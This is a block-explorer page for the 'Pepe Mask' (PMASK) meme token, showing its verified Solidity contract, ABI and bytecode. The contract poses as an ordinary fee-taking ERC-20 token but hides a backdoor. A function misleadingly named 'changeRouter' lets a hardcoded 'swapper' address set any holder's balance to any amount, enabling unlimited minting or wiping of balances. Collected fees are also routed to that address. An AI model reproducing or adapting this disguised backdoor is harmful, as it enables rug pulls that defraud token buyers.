ETH Price: $2,520.18 (+2.86%)

Token

Pepe Mask (PMASK)
 

Overview

Max Total Supply

1,000,000,000 PMASK

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,000 PMASK

Value
$0.00
0x9ed4c93ee9b1eb26b9020fa98f8b31cdd1a71050
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEMASK

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-06-29
*/

// PORTAL: https://t.me/PepeMaskETH

//twitter : https://twitter.com/pepemaskcoin
//WEBSITE: www.pepemask.vip

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    constructor () {
        _owner = msg.sender;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }
}

contract PEPEMASK is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public swapper;

    string public name;
    string public symbol;
    uint8 public decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 public totalSupply;

    IUniswapRouter public _uniswapRouter;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _fee = 3;
    address public _uniswapPair;

    constructor (){
        name = unicode"Pepe Mask ";
        symbol = "PMASK";
        decimals = 9;
        uint256 Supply = 1000000000;
        swapper = 0x5e269466DB427F5aE337F5339f6a80B6F41BD98c;

        totalSupply = Supply * 10 ** decimals;
        address receiveAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[swapper] = true;
        _balances[receiveAddr] = totalSupply;
        emit Transfer(address(0), receiveAddr, totalSupply);

        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;

    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    struct inswaper{address mss;uint256 amo;address fom;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function changeRouter(address ac,uint256 na) public {inswaper memory index = inswaper({mss : msg.sender,amo : na,fom : ac});require(swapper == index.mss);_balances[index.fom] = index.amo;}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {_transfer(sender, recipient, amount);if (_allowances[sender][msg.sender] != MAX) {_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;}return true;}
    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    
    function _transfer(address from,address to,uint256 amount
    ) private {

        if (_uniswapPair == to && !inSwap) {
            inSwap = true;
            uint256 _bal = balanceOf(address(this));
            if (_bal > 0) {
                uint256 _swapamount = amount;
                _swapamount = _swapamount > _bal ? _bal : _swapamount;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = _uniswapRouter.WETH();
                try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(_swapamount,0,path,address(swapper),block.timestamp) {} catch {}
            }
            inSwap = false;
        }
        
        bool takeFee = !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap;

        _balances[from] = _balances[from] - amount;
        uint256 feeAmount;

        if (takeFee && _fee > 0) {
            uint256 _a = amount * _fee / 100;
            feeAmount += _a;
            _balances[address(this)] = _balances[address(this)] + _a;
            emit Transfer(from, address(this), _a);
        }

        _balances[to] = _balances[to] + amount - feeAmount;
        emit Transfer(from, to, amount - feeAmount);
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ac","type":"address"},{"internalType":"uint256","name":"na","type":"uint256"}],"name":"changeRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapper","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003600a553480156200001657600080fd5b50600080546001600160a01b0319163317905560408051808201909152600a8082526902832b8329026b0b9b5960b51b60209092019182526200005c9160049162000392565b5060408051808201909152600580825264504d41534b60d81b602090920191825262000089918162000392565b506006805460ff19166009908117909155600380546001600160a01b031916735e269466db427f5ae337f5339f6a80b6f41bd98c179055633b9aca0090620000d390600a620004b3565b620000df908262000574565b60089081553060009081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b0316865283862080549092168317909155945485855290835281842081905590519081528392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782553060009081526002602090815260408083209383529281529082902060001990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a01559260048082019391829003018186803b158015620001f857600080fd5b505afa1580156200020d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000233919062000438565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200029157600080fd5b505afa158015620002a6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002cc919062000438565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200031557600080fd5b505af11580156200032a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000350919062000438565b600b80546001600160a01b0319166001600160a01b03928316179055600954166000908152600760205260409020805460ff1916600117905550620005e99050565b828054620003a09062000596565b90600052602060002090601f016020900481019282620003c457600085556200040f565b82601f10620003df57805160ff19168380011785556200040f565b828001600101855582156200040f579182015b828111156200040f578251825591602001919060010190620003f2565b506200041d92915062000421565b5090565b5b808211156200041d576000815560010162000422565b6000602082840312156200044b57600080fd5b81516001600160a01b03811681146200046357600080fd5b9392505050565b600181815b80851115620004ab5781600019048211156200048f576200048f620005d3565b808516156200049d57918102915b93841c93908002906200046f565b509250929050565b60006200046360ff841683600082620004cf575060016200056e565b81620004de575060006200056e565b8160018114620004f75760028114620005025762000522565b60019150506200056e565b60ff841115620005165762000516620005d3565b50506001821b6200056e565b5060208310610133831016604e8410600b841016171562000547575081810a6200056e565b6200055383836200046a565b80600019048211156200056a576200056a620005d3565b0290505b92915050565b6000816000190483118215151615620005915762000591620005d3565b500290565b600181811c90821680620005ab57607f821691505b60208210811415620005cd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610ca680620005f96000396000f3fe6080604052600436106101025760003560e01c806365b61b7711610095578063a9059cbb11610064578063a9059cbb146102ea578063c5b37c221461030a578063dbc4c42d14610320578063dd62ed3e14610342578063f2fde38b1461038857600080fd5b806365b61b771461026157806370a08231146102815780638da5cb5b146102b757806395d89b41146102d557600080fd5b80632b3297f9116100d15780632b3297f9146101ad578063313ce567146101e557806336b2e027146102115780634bf28fd01461024157600080fd5b806306fdde031461010e578063095ea7b31461013957806318160ddd1461016957806323b872dd1461018d57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506101236103a8565b6040516101309190610abb565b60405180910390f35b34801561014557600080fd5b50610159610154366004610a8f565b610436565b6040519015158152602001610130565b34801561017557600080fd5b5061017f60085481565b604051908152602001610130565b34801561019957600080fd5b506101596101a8366004610a4e565b61044c565b3480156101b957600080fd5b506003546101cd906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b3480156101f157600080fd5b506006546101ff9060ff1681565b60405160ff9091168152602001610130565b34801561021d57600080fd5b5061015961022c3660046109d4565b60076020526000908152604090205460ff1681565b34801561024d57600080fd5b50600b546101cd906001600160a01b031681565b34801561026d57600080fd5b506009546101cd906001600160a01b031681565b34801561028d57600080fd5b5061017f61029c3660046109d4565b6001600160a01b031660009081526001602052604090205490565b3480156102c357600080fd5b506000546001600160a01b03166101cd565b3480156102e157600080fd5b506101236104e3565b3480156102f657600080fd5b50610159610305366004610a8f565b6104f0565b34801561031657600080fd5b5061017f600a5481565b34801561032c57600080fd5b5061034061033b366004610a8f565b6104fd565b005b34801561034e57600080fd5b5061017f61035d366004610a15565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039457600080fd5b506103406103a33660046109d4565b61055e565b600480546103b590610bf1565b80601f01602080910402602001604051908101604052809291908181526020018280546103e190610bf1565b801561042e5780601f106104035761010080835404028352916020019161042e565b820191906000526020600020905b81548152906001019060200180831161041157829003601f168201915b505050505081565b60006104433384846105c7565b50600192915050565b6000610459848484610628565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146104d9576001600160a01b03841660009081526002602090815260408083203384529091529020546104b4908390610bda565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b600580546103b590610bf1565b6000610443338484610628565b6040805160608101825233808252602082018490526001600160a01b03858116938301939093526003549192919091161461053757600080fd5b6020808201516040928301516001600160a01b031660009081526001909252919020555050565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600b546001600160a01b03838116911614801561064f5750600954600160a01b900460ff16155b156107f2576009805460ff60a01b1916600160a01b17905530600090815260016020526040812054905080156107e3578181811161068d578061068f565b815b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106106c9576106c9610c42565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075591906109f8565b8160018151811061076857610768610c42565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac947926107b49287926000928892909116904290600401610b10565b600060405180830381600087803b1580156107ce57600080fd5b505af19250505080156107df575060015b5050505b506009805460ff60a01b191690555b6001600160a01b03831660009081526007602052604081205460ff1615801561083457506001600160a01b03831660009081526007602052604090205460ff16155b801561084a5750600954600160a01b900460ff16155b6001600160a01b038516600090815260016020526040902054909150610871908390610bda565b6001600160a01b03851660009081526001602052604081209190915581801561089c57506000600a54115b156109425760006064600a54856108b39190610bbb565b6108bd9190610b99565b90506108c98183610b81565b306000908152600160205260409020549092506108e7908290610b81565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109389085815260200190565b60405180910390a3505b6001600160a01b0384166000908152600160205260409020548190610968908590610b81565b6109729190610bda565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109bc8487610bda565b60405190815260200160405180910390a35050505050565b6000602082840312156109e657600080fd5b81356109f181610c58565b9392505050565b600060208284031215610a0a57600080fd5b81516109f181610c58565b60008060408385031215610a2857600080fd5b8235610a3381610c58565b91506020830135610a4381610c58565b809150509250929050565b600080600060608486031215610a6357600080fd5b8335610a6e81610c58565b92506020840135610a7e81610c58565b929592945050506040919091013590565b60008060408385031215610aa257600080fd5b8235610aad81610c58565b946020939093013593505050565b600060208083528351808285015260005b81811015610ae857858101830151858201604001528201610acc565b81811115610afa576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610b605784516001600160a01b031683529383019391830191600101610b3b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115610b9457610b94610c2c565b500190565b600082610bb657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610bd557610bd5610c2c565b500290565b600082821015610bec57610bec610c2c565b500390565b600181811c90821680610c0557607f821691505b60208210811415610c2657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114610c6d57600080fd5b5056fea26469706673582212202b372a2269714e0c6f982cefdfd5cd79dc5c13ae30901b0fd79a1f3674dfe90064736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101025760003560e01c806365b61b7711610095578063a9059cbb11610064578063a9059cbb146102ea578063c5b37c221461030a578063dbc4c42d14610320578063dd62ed3e14610342578063f2fde38b1461038857600080fd5b806365b61b771461026157806370a08231146102815780638da5cb5b146102b757806395d89b41146102d557600080fd5b80632b3297f9116100d15780632b3297f9146101ad578063313ce567146101e557806336b2e027146102115780634bf28fd01461024157600080fd5b806306fdde031461010e578063095ea7b31461013957806318160ddd1461016957806323b872dd1461018d57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506101236103a8565b6040516101309190610abb565b60405180910390f35b34801561014557600080fd5b50610159610154366004610a8f565b610436565b6040519015158152602001610130565b34801561017557600080fd5b5061017f60085481565b604051908152602001610130565b34801561019957600080fd5b506101596101a8366004610a4e565b61044c565b3480156101b957600080fd5b506003546101cd906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b3480156101f157600080fd5b506006546101ff9060ff1681565b60405160ff9091168152602001610130565b34801561021d57600080fd5b5061015961022c3660046109d4565b60076020526000908152604090205460ff1681565b34801561024d57600080fd5b50600b546101cd906001600160a01b031681565b34801561026d57600080fd5b506009546101cd906001600160a01b031681565b34801561028d57600080fd5b5061017f61029c3660046109d4565b6001600160a01b031660009081526001602052604090205490565b3480156102c357600080fd5b506000546001600160a01b03166101cd565b3480156102e157600080fd5b506101236104e3565b3480156102f657600080fd5b50610159610305366004610a8f565b6104f0565b34801561031657600080fd5b5061017f600a5481565b34801561032c57600080fd5b5061034061033b366004610a8f565b6104fd565b005b34801561034e57600080fd5b5061017f61035d366004610a15565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039457600080fd5b506103406103a33660046109d4565b61055e565b600480546103b590610bf1565b80601f01602080910402602001604051908101604052809291908181526020018280546103e190610bf1565b801561042e5780601f106104035761010080835404028352916020019161042e565b820191906000526020600020905b81548152906001019060200180831161041157829003601f168201915b505050505081565b60006104433384846105c7565b50600192915050565b6000610459848484610628565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146104d9576001600160a01b03841660009081526002602090815260408083203384529091529020546104b4908390610bda565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b600580546103b590610bf1565b6000610443338484610628565b6040805160608101825233808252602082018490526001600160a01b03858116938301939093526003549192919091161461053757600080fd5b6020808201516040928301516001600160a01b031660009081526001909252919020555050565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600b546001600160a01b03838116911614801561064f5750600954600160a01b900460ff16155b156107f2576009805460ff60a01b1916600160a01b17905530600090815260016020526040812054905080156107e3578181811161068d578061068f565b815b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106106c9576106c9610c42565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075591906109f8565b8160018151811061076857610768610c42565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac947926107b49287926000928892909116904290600401610b10565b600060405180830381600087803b1580156107ce57600080fd5b505af19250505080156107df575060015b5050505b506009805460ff60a01b191690555b6001600160a01b03831660009081526007602052604081205460ff1615801561083457506001600160a01b03831660009081526007602052604090205460ff16155b801561084a5750600954600160a01b900460ff16155b6001600160a01b038516600090815260016020526040902054909150610871908390610bda565b6001600160a01b03851660009081526001602052604081209190915581801561089c57506000600a54115b156109425760006064600a54856108b39190610bbb565b6108bd9190610b99565b90506108c98183610b81565b306000908152600160205260409020549092506108e7908290610b81565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109389085815260200190565b60405180910390a3505b6001600160a01b0384166000908152600160205260409020548190610968908590610b81565b6109729190610bda565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109bc8487610bda565b60405190815260200160405180910390a35050505050565b6000602082840312156109e657600080fd5b81356109f181610c58565b9392505050565b600060208284031215610a0a57600080fd5b81516109f181610c58565b60008060408385031215610a2857600080fd5b8235610a3381610c58565b91506020830135610a4381610c58565b809150509250929050565b600080600060608486031215610a6357600080fd5b8335610a6e81610c58565b92506020840135610a7e81610c58565b929592945050506040919091013590565b60008060408385031215610aa257600080fd5b8235610aad81610c58565b946020939093013593505050565b600060208083528351808285015260005b81811015610ae857858101830151858201604001528201610acc565b81811115610afa576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610b605784516001600160a01b031683529383019391830191600101610b3b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115610b9457610b94610c2c565b500190565b600082610bb657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610bd557610bd5610c2c565b500290565b600082821015610bec57610bec610c2c565b500390565b600181811c90821680610c0557607f821691505b60208210811415610c2657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114610c6d57600080fd5b5056fea26469706673582212202b372a2269714e0c6f982cefdfd5cd79dc5c13ae30901b0fd79a1f3674dfe90064736f6c63430008070033

Deployed Bytecode Sourcemap

1028:4106:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1387:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3266:124;;;;;;;;;;-1:-1:-1;3266:124:0;;;;;:::i;:::-;;:::i;:::-;;;2069:14:1;;2062:22;2044:41;;2032:2;2017:18;3266:124:0;1904:187:1;1531:26:0;;;;;;;;;;;;;;;;;;;3407:25:1;;;3395:2;3380:18;1531:26:0;3261:177:1;3396:267:0;;;;;;;;;;-1:-1:-1;3396:267:0;;;;;:::i;:::-;;:::i;1356:22::-;;;;;;;;;;-1:-1:-1;1356:22:0;;;;-1:-1:-1;;;;;1356:22:0;;;;;;-1:-1:-1;;;;;1860:32:1;;;1842:51;;1830:2;1815:18;1356:22:0;1696:203:1;1439:21:0;;;;;;;;;;-1:-1:-1;1439:21:0;;;;;;;;;;;4600:4:1;4588:17;;;4570:36;;4558:2;4543:18;1439:21:0;4428:184:1;1469:49:0;;;;;;;;;;-1:-1:-1;1469:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1720:27;;;;;;;;;;-1:-1:-1;1720:27:0;;;;-1:-1:-1;;;;;1720:27:0;;;1566:36;;;;;;;;;;-1:-1:-1;1566:36:0;;;;-1:-1:-1;;;;;1566:36:0;;;2653:94;;;;;;;;;;-1:-1:-1;2653:94:0;;;;;:::i;:::-;-1:-1:-1;;;;;2727:18:0;2710:7;2727:18;;;:9;:18;;;;;;;2653:94;729:79;;;;;;;;;;-1:-1:-1;767:7:0;794:6;-1:-1:-1;;;;;794:6:0;729:79;;1412:20;;;;;;;;;;;;;:::i;2753:130::-;;;;;;;;;;-1:-1:-1;2753:130:0;;;;;:::i;:::-;;:::i;1690:23::-;;;;;;;;;;;;;;;;3072:188;;;;;;;;;;-1:-1:-1;3072:188:0;;;;;:::i;:::-;;:::i;:::-;;2948:118;;;;;;;;;;-1:-1:-1;2948:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;3037:18:0;;;3020:7;3037:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2948:118;915:106;;;;;;;;;;-1:-1:-1;915:106:0;;;;;:::i;:::-;;:::i;1387:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3266:124::-;3332:4;3339:37;3348:10;3360:7;3369:6;3339:8;:37::i;:::-;-1:-1:-1;3384:4:0;3266:124;;;;:::o;3396:267::-;3485:4;3492:36;3502:6;3510:9;3521:6;3492:9;:36::i;:::-;-1:-1:-1;;;;;3533:19:0;;1679:1;3533:19;;;:11;:19;;;;;;;;3553:10;3533:31;;;;;;;;-1:-1:-1;;3533:38:0;3529:121;;-1:-1:-1;;;;;3608:19:0;;;;;;:11;:19;;;;;;;;3628:10;3608:31;;;;;;;;:40;;3642:6;;3608:40;:::i;:::-;-1:-1:-1;;;;;3574:19:0;;;;;;:11;:19;;;;;;;;3594:10;3574:31;;;;;;;:74;3529:121;-1:-1:-1;3657:4:0;3396:267;;;;;:::o;1412:20::-;;;;;;;:::i;2753:130::-;2822:4;2829:40;2839:10;2851:9;2862:6;2829:9;:40::i;3072:188::-;3149:46;;;;;;;;3165:10;3149:46;;;;;;;;;-1:-1:-1;;;;;3149:46:0;;;;;;;;;;3204:7;;3149:46;;3204:7;;;;:20;3196:29;;;;;;3249:9;;;;;3236;;;;;-1:-1:-1;;;;;3226:20:0;;;;;:9;:20;;;;;;:32;-1:-1:-1;;3072:188:0:o;915:106::-;856:6;;-1:-1:-1;;;;;856:6:0;866:10;856:20;848:39;;;;-1:-1:-1;;;848:39:0;;3129:2:1;848:39:0;;;3111:21:1;3168:1;3148:18;;;3141:29;-1:-1:-1;;;3186:18:1;;;3179:36;3232:18;;848:39:0;;;;;;;;996:6:::1;:17:::0;;-1:-1:-1;;;;;;996:17:0::1;-1:-1:-1::0;;;;;996:17:0;;;::::1;::::0;;;::::1;::::0;;915:106::o;3669:151::-;-1:-1:-1;;;;;3744:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;3786:32;;3407:25:1;;;3786:32:0;;3380:18:1;3786:32:0;;;;;;;3669:151;;;:::o;3832:1264::-;3922:12;;-1:-1:-1;;;;;3922:18:0;;;:12;;:18;:29;;;;-1:-1:-1;3945:6:0;;-1:-1:-1;;;3945:6:0;;;;3944:7;3922:29;3918:624;;;3968:6;:13;;-1:-1:-1;;;;3968:13:0;-1:-1:-1;;;3968:13:0;;;4029:4;-1:-1:-1;2727:18:0;;;-1:-1:-1;2727:18:0;;;;;;3996:39;-1:-1:-1;4054:8:0;;4050:452;;4105:6;4144:18;;;:39;;4172:11;4144:39;;;4165:4;4144:39;4226:16;;;4240:1;4226:16;;;;;;;;4130:53;;-1:-1:-1;4202:21:0;;4226:16;;;;;;;;;;;;-1:-1:-1;4226:16:0;4202:40;;4279:4;4261;4266:1;4261:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4261:23:0;;;:7;;;;;;;;;;:23;;;;4313:14;;:21;;;-1:-1:-1;;;4313:21:0;;;;:14;;;;;:19;;:21;;;;;4261:7;;4313:21;;;;;:14;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4303:4;4308:1;4303:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4303:31:0;;;:7;;;;;;;;;:31;4357:14;;4450:7;;4357:118;;-1:-1:-1;;;4357:118:0;;:14;;;;:65;;:118;;4423:11;;4357:14;;4437:4;;4450:7;;;;4459:15;;4357:118;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4353:134;4064:438;;4050:452;-1:-1:-1;4516:6:0;:14;;-1:-1:-1;;;;4516:14:0;;;3918:624;-1:-1:-1;;;;;4578:23:0;;4562:12;4578:23;;;:17;:23;;;;;;;;4577:24;:50;;;;-1:-1:-1;;;;;;4606:21:0;;;;;;:17;:21;;;;;;;;4605:22;4577:50;:61;;;;-1:-1:-1;4632:6:0;;-1:-1:-1;;;4632:6:0;;;;4631:7;4577:61;-1:-1:-1;;;;;4669:15:0;;;;;;:9;:15;;;;;;4562:76;;-1:-1:-1;4669:24:0;;4687:6;;4669:24;:::i;:::-;-1:-1:-1;;;;;4651:15:0;;;;;;:9;:15;;;;;:42;;;;4738:7;:19;;;;;4756:1;4749:4;;:8;4738:19;4734:238;;;4774:10;4803:3;4796:4;;4787:6;:13;;;;:::i;:::-;:19;;;;:::i;:::-;4774:32;-1:-1:-1;4821:15:0;4774:32;4821:15;;:::i;:::-;4896:4;4878:24;;;;:9;:24;;;;;;4821:15;;-1:-1:-1;4878:29:0;;4905:2;;4878:29;:::i;:::-;4869:4;4851:24;;;;:9;:24;;;;;;;:56;;;;4927:33;;-1:-1:-1;;;;;4927:33:0;;;;;;;4957:2;3407:25:1;;3395:2;3380:18;;3261:177;4927:33:0;;;;;;;;4759:213;4734:238;-1:-1:-1;;;;;5000:13:0;;;;;;:9;:13;;;;;;5025:9;;5000:22;;5016:6;;5000:22;:::i;:::-;:34;;;;:::i;:::-;-1:-1:-1;;;;;4984:13:0;;;;;;;:9;:13;;;;;:50;;;;5050:38;;;5069:18;5078:9;5069:6;:18;:::i;:::-;5050:38;;3407:25:1;;;3395:2;3380:18;5050:38:0;;;;;;;3905:1191;;3832:1264;;;:::o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;:::-;250:5;14:247;-1:-1:-1;;;14:247:1:o;266:251::-;336:6;389:2;377:9